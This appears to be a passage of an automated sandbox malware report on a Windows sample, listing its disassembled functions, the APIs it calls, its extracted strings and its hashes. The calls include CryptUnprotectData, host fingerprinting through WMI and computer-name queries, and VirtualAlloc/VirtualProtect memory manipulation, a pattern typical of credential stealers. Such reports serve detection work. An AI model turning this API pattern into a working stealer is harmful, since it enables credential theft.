Source File: 00000006.00000002.2391495073.00000000051C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51c0000_c7af53ccad.jbxd

Similarity

API ID:
String ID: (okq$4'kq$4'kq$4'kq$4'kq$4'kq$4'kq$4|pq$4|pq$$kq
API String ID: 0-267164343
Opcode ID: f9c4a206a86ed89464e60b61ba0ac471e7e08d230cb34a8b35ec50a4524abece
Instruction ID: 7f8a10b703a2af832e54ed21bf8ba9d919a8ab27629d9e334a4409b5d02eec60
Opcode Fuzzy Hash: f9c4a206a86ed89464e60b61ba0ac471e7e08d230cb34a8b35ec50a4524abece
Instruction Fuzzy Hash: 5343FB74A00219CFCB24DF68C998A9DBBB2BF99310F1585D9E459AB361CB31ED81CF40

Function 029FDB30 Relevance: 1.6, APIs: 1, Instructions: 112
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 029FDC39

Memory Dump Source

Source File: 00000006.00000002.2387008871.00000000029F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_29f0000_c7af53ccad.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: fdcae2286a5b0dd03710432b06a64483a71575c6f2349487086584492c3dab48
Instruction ID: 7ae5c3b0d6f04c5a630ef48c269820cd9889c7ac18eda020af8c536a66e2f18d
Opcode Fuzzy Hash: fdcae2286a5b0dd03710432b06a64483a71575c6f2349487086584492c3dab48
Instruction Fuzzy Hash: 4D4131B0D00258CFEB90CFA9C885B9DBBF1FB09304F10902AE815AB390D7B49885CF54

Function 029FDEA8 Relevance: 1.6, APIs: 1, Instructions: 96
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 029FDF4C

Memory Dump Source

Source File: 00000006.00000002.2387008871.00000000029F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_29f0000_c7af53ccad.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: f98912d322d67aa7c633899c88710a1b89e32ff73fcd75c1da2eb0336f607aab
Instruction ID: 11cea3e197451bb3367677a91a145abba8d8c8861552af37c317b6d44c295553
Opcode Fuzzy Hash: f98912d322d67aa7c633899c88710a1b89e32ff73fcd75c1da2eb0336f607aab
Instruction Fuzzy Hash: B331A7B4D002589FCF10CFA9D980A9EFBB5BB49310F20942AE814B7210D735A945CFA4

Function 029FF0B8 Relevance: 1.3, APIs: 1, Instructions: 94
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 029FF157

Memory Dump Source

Source File: 00000006.00000002.2387008871.00000000029F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_29f0000_c7af53ccad.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a47892d5a2f8a4b82666763acf9232ca660c2def4d06748d44103a03db477647
Instruction ID: 4aaed0c415706bd7839ed5c7e9f855f1aaa9e66ff9959f591d5bc2f23bdc8b1c
Opcode Fuzzy Hash: a47892d5a2f8a4b82666763acf9232ca660c2def4d06748d44103a03db477647
Instruction Fuzzy Hash: 623198B5D04258DFCF14CFA9D980A9EFBB5EB49320F14942AE814B7310D735A945CF94

Function 051C3288 Relevance: .2, Instructions: 249
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2391495073.00000000051C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51c0000_c7af53ccad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c1c0b51162652d78577a5d8091665d8f5d794f27d0c1eac94f6531eac3810c7
Instruction ID: e429b8246d510308d82c324f79e1aa8385e2f6f91a847c64095eca8fdb91ac23
Opcode Fuzzy Hash: 4c1c0b51162652d78577a5d8091665d8f5d794f27d0c1eac94f6531eac3810c7
Instruction Fuzzy Hash: DB916130B041189FCB14DF68D994AAD7FB2FF58311F1584A9E412AB3A1DB32DD41CBA1

Function 051CA082 Relevance: .2, Instructions: 174
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2391495073.00000000051C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51c0000_c7af53ccad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 615f32e818405035facd5659f9d5c2ba396285f84bb1fab2ff3cc57b3e3aeddd
Instruction ID: 4afcb9abceba33276d1255393f2521884e24e0aad0985e3ac26539604dc9263d
Opcode Fuzzy Hash: 615f32e818405035facd5659f9d5c2ba396285f84bb1fab2ff3cc57b3e3aeddd
Instruction Fuzzy Hash: 85A1A378911228CFDB24DF64E859B9DBBB2FF44304F1081AAE909A73A5DB315E85CF11

Function 051C7DF8 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2391495073.00000000051C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51c0000_c7af53ccad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f421b98e39ed594616e224cb58a86023585040689a2c987adcf9a4a7ae8fbba7
Instruction ID: 2780cba13b9578f42a3878d2a665d2a6d9beed69f14342f40f51bd1d38e20a1d
Opcode Fuzzy Hash: f421b98e39ed594616e224cb58a86023585040689a2c987adcf9a4a7ae8fbba7
Instruction Fuzzy Hash: DE419F75E012099FCB48DFA9D594A9EBBF2BF89310F148069E815BB360DB31A901CF50

Function 051CA483 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2391495073.00000000051C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51c0000_c7af53ccad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df17d2af752ba7941011b3dbba551395ad9e394db5f1f8a9938af8bf5c8ab47c
Instruction ID: c47fbb3c92b1f0b9deb27260ff752a64fefa3590b0acf9705c731e0bb23751de
Opcode Fuzzy Hash: df17d2af752ba7941011b3dbba551395ad9e394db5f1f8a9938af8bf5c8ab47c
Instruction Fuzzy Hash: 4041FEB4E01218CFCB14CF68D889A9DBFB1FF08304F0091A9E408AB215DB75A981CF95

Function 051C7F17 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2391495073.00000000051C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51c0000_c7af53ccad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 543d37d31ce2274b1d4e9d8d5af351a53f7c90a1ab9013537600ea574946abe0
Instruction ID: 8b7ce22cbf49d177f7f72507b8cf5c04d2c0af07670c9d76b8547c81b7a62b4a
Opcode Fuzzy Hash: 543d37d31ce2274b1d4e9d8d5af351a53f7c90a1ab9013537600ea574946abe0
Instruction Fuzzy Hash: 8531BE75E002199FDB05CFA9D980AEEBBB2FB89311F10806AE415B7390D7355945CFA0

Function 00E9D01C Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2386567417.0000000000E9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e9d000_c7af53ccad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bc94d9f438b61ebb05ff6320caafb9af838000948621ce489930100648dd182
Instruction ID: 01ac42dfc7f36dfdc937861e5c6d0a49fb64298455e6752ba563264699bbdbd8
Opcode Fuzzy Hash: 8bc94d9f438b61ebb05ff6320caafb9af838000948621ce489930100648dd182
Instruction Fuzzy Hash: F0212271508240DFCF15DF14DEC4B27BFA6FB84318F20C569E9096B246C33AD84ACAA2

Function 00E9D005 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2386567417.0000000000E9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e9d000_c7af53ccad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4e4004ec091c627749c03005ef08c8cfaf69af25eac65e70b9c7be7ce2c7af1
Instruction ID: 51f2a5c550e896ca358e5c553211d678eb43978ab92cae92a6422302ad29aeb4
Opcode Fuzzy Hash: e4e4004ec091c627749c03005ef08c8cfaf69af25eac65e70b9c7be7ce2c7af1
Instruction Fuzzy Hash: 6E21B07540D3C08FCB02CF24D994716BF72EB86314F29C1EAD8448B653C33A980ACB62

Function 051C3278 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2391495073.00000000051C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51c0000_c7af53ccad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46c03c89b47f5f6b0af9c03804f873181430e273e92830be3164dba5cb10328b
Instruction ID: 12223fe13fd72387a70e771f1bd21635396616003c97f2f144a433adfc532678
Opcode Fuzzy Hash: 46c03c89b47f5f6b0af9c03804f873181430e273e92830be3164dba5cb10328b
Instruction Fuzzy Hash: B1212C71A001189FCF04DFA4E945AEDBBB2FF88310F149469E512BB360C7329D55DBA1

Function 051C7FF4 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2391495073.00000000051C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51c0000_c7af53ccad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c40e1210cf3c1e6f13aa555229e74d8a0d17886abebdef5e8ee23be97ec58b8
Instruction ID: 295c24a3f2bfdcbfcf33ede53004aac50820a089abad94502731d2e5cc82ca8a
Opcode Fuzzy Hash: 7c40e1210cf3c1e6f13aa555229e74d8a0d17886abebdef5e8ee23be97ec58b8
Instruction Fuzzy Hash: C801E476D09209AFCB01DFE8D4808EDBFB1FF59311F10409AE614A6260D3769955DF50

Function 051CA808 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2391495073.00000000051C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51c0000_c7af53ccad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46d8d63a9413af0a367c4fd98762d939b5f95e294920ad924d70993f82b296e9
Instruction ID: 5d7b0a6f8cbf29cfb7ffc8e2266e0d48fcac670452f3dd35399912a276b0f5bd
Opcode Fuzzy Hash: 46d8d63a9413af0a367c4fd98762d939b5f95e294920ad924d70993f82b296e9
Instruction Fuzzy Hash: 7EF0D474E16208DFCB95DBB9A5496ADBFF5AF48201F00D1A9A809D3250EB359A41CF41

Function 051CA7F9 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2391495073.00000000051C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51c0000_c7af53ccad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f04117f02e1156d5b7f6704e971505eeb3678fff6a01ea6a12aaf9135e93f13a
Instruction ID: 9b836bdf06758ad6dcf2b3c81a4905baf4a85298d5fce8bdb5d94981521a4b40
Opcode Fuzzy Hash: f04117f02e1156d5b7f6704e971505eeb3678fff6a01ea6a12aaf9135e93f13a
Instruction Fuzzy Hash: 1BE0E534915109CBCB51CBB8D4493A8BFF0AF15311F105299D81493390DB369502DE41

Function 051CA41B Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2391495073.00000000051C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51c0000_c7af53ccad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e904c46f0a65ce16591d44c7f73918e21f2a381c94777e42993ea5160a45127
Instruction ID: 18b330f715f05f161a34b13f1a70ab2dbc504cbe07ba15bcaf7f9a9921227c7c
Opcode Fuzzy Hash: 6e904c46f0a65ce16591d44c7f73918e21f2a381c94777e42993ea5160a45127
Instruction Fuzzy Hash: BDF0BC70A022188FCB14DF28D589A89BFB1FF04705F05A0D8A408AB625DB75AD81CF81

Non-executed Functions

Function 029F0BD0 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2387008871.00000000029F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_29f0000_c7af53ccad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ae0cefc38b6892d103f1b346becedfc7229b6d974225a478f07e71bb6f55a95
Instruction ID: 03e9e45e1882b648e8039b06969a25464b8538b58554a9e5d63870d7fdde05dc
Opcode Fuzzy Hash: 6ae0cefc38b6892d103f1b346becedfc7229b6d974225a478f07e71bb6f55a95
Instruction Fuzzy Hash: 4241F2B0D003488FDB94CFA9C984B9EBBF5BF09304F209029E819AB251D7749885CF95

Analysis Process: c7af53ccad.exePID: 7828, Parent PID: 7796COMMON

Execution Graph

Execution Coverage:	9.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	23.6%
Total number of Nodes:	318
Total number of Limit Nodes:	8

Executed Functions

Function 00437DF0 Relevance: 28.6, APIs: 11, Strings: 5, Instructions: 640
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044168C,00000000,00000001,0044167C,00000000), ref: 00438034
SysAllocString.OLEAUT32()\"^), ref: 004380C3
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00438101
SysAllocString.OLEAUT32()\"^), ref: 0043817E
SysAllocString.OLEAUT32()\"^), ref: 00438238
VariantInit.OLEAUT32(C7C6C5CC), ref: 004382A8
VariantClear.OLEAUT32(?), ref: 004383F9
SysFreeString.OLEAUT32(?), ref: 0043841D
SysFreeString.OLEAUT32(?), ref: 00438423
SysFreeString.OLEAUT32(00000000), ref: 00438430
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,66966446,00000000,00000000,00000000,00000000), ref: 00438468

Strings

P%R, xrefs: 0043804A
O@, xrefs: 0043806A
pq, xrefs: 004382E2
)\"^, xrefs: 004380BE, 004380C2, 0043817D, 00438237, 0043845B
.H4J, xrefs: 0043805A

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: P%R$)\"^$.H4J$O@$pq
API String ID: 2573436264-1397720406
Opcode ID: cd14e05d7432ded1bf926f32cda1f224496113c88b4519bc978cba4cd539789a
Instruction ID: 8d1c6a9ba2bf63fa8fe487279597ba15b590cfaf954231a8494ef46f424a72d4
Opcode Fuzzy Hash: cd14e05d7432ded1bf926f32cda1f224496113c88b4519bc978cba4cd539789a
Instruction Fuzzy Hash: D022EFB2A483418BD314CF25C880B5BBBE5EFC9704F148A2DF5919B381E779D909CB96

Function 00423860 Relevance: 14.5, APIs: 1, Strings: 7, Instructions: 501
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

7N1@, xrefs: 00423ED0, 00423EE1
Fg)i, xrefs: 00423E56
{\}, xrefs: 00423E3E
WE, xrefs: 00423D04
/G$I, xrefs: 00423E16
OU, xrefs: 00423CFC
A[, xrefs: 00423D14

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID:
String ID: /G$I$7N1@$A[$Fg)i$OU$WE${\}
API String ID: 0-1763234448
Opcode ID: 99fe5afda1dcc440005955b3418fa216d89817fb1a5d97e426eeaa65bb2ccc37
Instruction ID: 056ee81575811c50f3dd50ebd9ce003cf240713406730f881528123b83eb6744
Opcode Fuzzy Hash: 99fe5afda1dcc440005955b3418fa216d89817fb1a5d97e426eeaa65bb2ccc37
Instruction Fuzzy Hash: 2AF1CAB56083509FD3108F65E88276BBBF2FBD2345F54892DF0858B390D7B88906CB86

Function 00415799 Relevance: 14.5, APIs: 1, Strings: 7, Instructions: 492
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00415BAF

Strings

8MNO, xrefs: 00415C36
NDNK, xrefs: 00415D85
<I2K, xrefs: 00415C2B
RXA, xrefs: 00415842
oA&C, xrefs: 00415CE6
X, xrefs: 00415DD2
~, xrefs: 0041596E

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: CryptDataUnprotect
String ID: 8MNO$<I2K$NDNK$RXA$X$oA&C$~
API String ID: 834300711-3328159043
Opcode ID: 7d14a55b692df4f7a5a1489c3381dac725c5f5ca9d3437b0e32695eadac0db18
Instruction ID: b39a018424f603aff0b8ca9a117b68807cb953dc34c5f22e55a732b949ac1150
Opcode Fuzzy Hash: 7d14a55b692df4f7a5a1489c3381dac725c5f5ca9d3437b0e32695eadac0db18
Instruction Fuzzy Hash: 90F125B6608740CFC720CF29D8817EBB7E1AFD5314F194A2EE4D997251EB389845CB86

Function 00408850 Relevance: 7.7, APIs: 5, Instructions: 194
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 0040891C
GetCurrentThreadId.KERNEL32 ref: 00408925
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 004089DB
GetForegroundWindow.USER32 ref: 00408A33

Part of subcall function 0040C550: CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C563

Part of subcall function 0040B390: FreeLibrary.KERNEL32(00408AB8), ref: 0040B396
Part of subcall function 0040B390: FreeLibrary.KERNEL32 ref: 0040B3B7

ExitProcess.KERNEL32 ref: 00408AD1

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: CurrentFreeLibraryProcess$ExitFolderForegroundInitializePathSpecialThreadWindow
String ID:
API String ID: 3072701918-0
Opcode ID: 80d43e03976d674c32d86d2947b6f6748d05092d2929b392bf544b78baad5a14
Instruction ID: 4e8ceca9db94e69365d2c2d7f1aefafb9de861df3649afd20bfce81a3928f3be
Opcode Fuzzy Hash: 80d43e03976d674c32d86d2947b6f6748d05092d2929b392bf544b78baad5a14
Instruction Fuzzy Hash: 9351A9BBF102180BD71CAEAACD463A675878BC5710F1F813E5985EB7D6EDB88C0142C9

Function 0042DA53 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 440
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042DA87
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 0042DB5D

Strings

0K), xrefs: 0042DF19
4*VP, xrefs: 0042DF24

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: ComputerName
String ID: 0K)$4*VP
API String ID: 3545744682-3626284114
Opcode ID: 7f9184ee53db8657b7211f9213731764c2e24f7097ca2d92dc8b3e88ab6ab3dd
Instruction ID: 79d6e082e0491a4045e5b840a95bb4df230d34c241beba690eb3c8ed7007ce5a
Opcode Fuzzy Hash: 7f9184ee53db8657b7211f9213731764c2e24f7097ca2d92dc8b3e88ab6ab3dd
Instruction Fuzzy Hash: 8FD12730A1C3D08ED7258F3994507ABBFE19FA7314F59896ED4C98B382C7798406CB66

Function 0043C1F0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043E31B,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043C21E

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00433CDF Relevance: 3.0, APIs: 2, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00433D17
GetSystemMetrics.USER32 ref: 00433D26

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-0
Opcode ID: 5f2d3bb2bc73d9fb24c3e71e22e052d5e824def969419b7e1f909697d2eb3c0f
Instruction ID: cb1e3e37586d9a4509bd606a09fc72fdf1ec5b4aeb0744265bd1e649f6a723a7
Opcode Fuzzy Hash: 5f2d3bb2bc73d9fb24c3e71e22e052d5e824def969419b7e1f909697d2eb3c0f
Instruction Fuzzy Hash: 2211AFF4D142188FDB40EF7CD98569DBBF4AB49304F10442AE498E7360E774A9988F86

Function 0042E4A9 Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042E5D8

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: d676d3cf378bce22c63fcc0d702ca03e1329d21923194e356a21209e6313a188
Instruction ID: bada183498579cd0d1e1b9560e2ec57dcdd73a114042e6aef25e130bccfe5e33
Opcode Fuzzy Hash: d676d3cf378bce22c63fcc0d702ca03e1329d21923194e356a21209e6313a188
Instruction Fuzzy Hash: C721297251C39089D735CB368810BEBBBE29FD6308F49CCADC4C847242E7794585C79A

Function 00436145 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00436165

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: c20870ad1c2550df031d9ae96be031c5a683c54f8c490753efcc1857bb42eeb8
Instruction ID: 741c48333e69648009e785c6466c575ff7d71c05fd411e4f0ced63eefbf4b49a
Opcode Fuzzy Hash: c20870ad1c2550df031d9ae96be031c5a683c54f8c490753efcc1857bb42eeb8
Instruction Fuzzy Hash: 86115B32D052968FDB14CB3C8C502ADBFB15F8A320F1983EDD8A5A33D5D9304E428B51

Function 0043C2C8 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043CCAF

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: ee62edd4f90ceb3851fb76d6bb2596050db7060e58c86fce7ad8149e0838c105
Instruction ID: 8fb46afbfb550afb85baefcd5c24b2e1a72551ea741637eac68a3138d718cba2
Opcode Fuzzy Hash: ee62edd4f90ceb3851fb76d6bb2596050db7060e58c86fce7ad8149e0838c105
Instruction Fuzzy Hash: 07F04CBAD005408BDB044B75CC821A67BA2DB5F320B18897DD441E3384C63C5807CB5D

Function 0043C180 Relevance: 1.5, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,00000000,?,?,0040B2E4,00000000,00000001), ref: 0043C1B2

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d479befdbac128fe149772a9185de956813756a2e3e272a70dac7c9e8d919251
Instruction ID: ec0cbf63999808cd9fde2cf832404b9ab0848eb4eaaead86bc709d6aa026588d
Opcode Fuzzy Hash: d479befdbac128fe149772a9185de956813756a2e3e272a70dac7c9e8d919251
Instruction Fuzzy Hash: 59F0E977808211EBD2003F257C01A5736649F8F735F01587AFC0152112D739D422E6AF

Function 0043169A Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004316E1

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 398b2808b458341c98a87bf67e0231988ff1e1ff89b83f4d85f076abaf8bf248
Instruction ID: 88ab58616cf1dac6cba617d780c76543ffdeb80aa514c7c7d0db7b6f6353d972
Opcode Fuzzy Hash: 398b2808b458341c98a87bf67e0231988ff1e1ff89b83f4d85f076abaf8bf248
Instruction Fuzzy Hash: 0FF09EB8509342CFD394DF64C5A875BBBE0EB89348F01891CE4998B391DBB59548CF82

Function 00430469 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004304AC

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: c776e90b0c9c6af7e86a6e6b759a0e1348666aeaad21731c063a5846b902e991
Instruction ID: d25a5440729caa6a4a41176679ca809818bf9cac461bb09e9bc77660d505e8e6
Opcode Fuzzy Hash: c776e90b0c9c6af7e86a6e6b759a0e1348666aeaad21731c063a5846b902e991
Instruction Fuzzy Hash: 56F0D4B45093019FD314DF29D16871ABBF4FB88304F01991CE49ACB790C7B5AA48CF82

Function 0040C550 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C563

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 6fc60a274ed566bab613781af0777c43ce176e621231eb36fbaf2a6aedf8035e
Instruction ID: e03bcfaf696d6c281ff3d22d3b8d0c31e3889364fa9117d67ae1079de8c3c82d
Opcode Fuzzy Hash: 6fc60a274ed566bab613781af0777c43ce176e621231eb36fbaf2a6aedf8035e
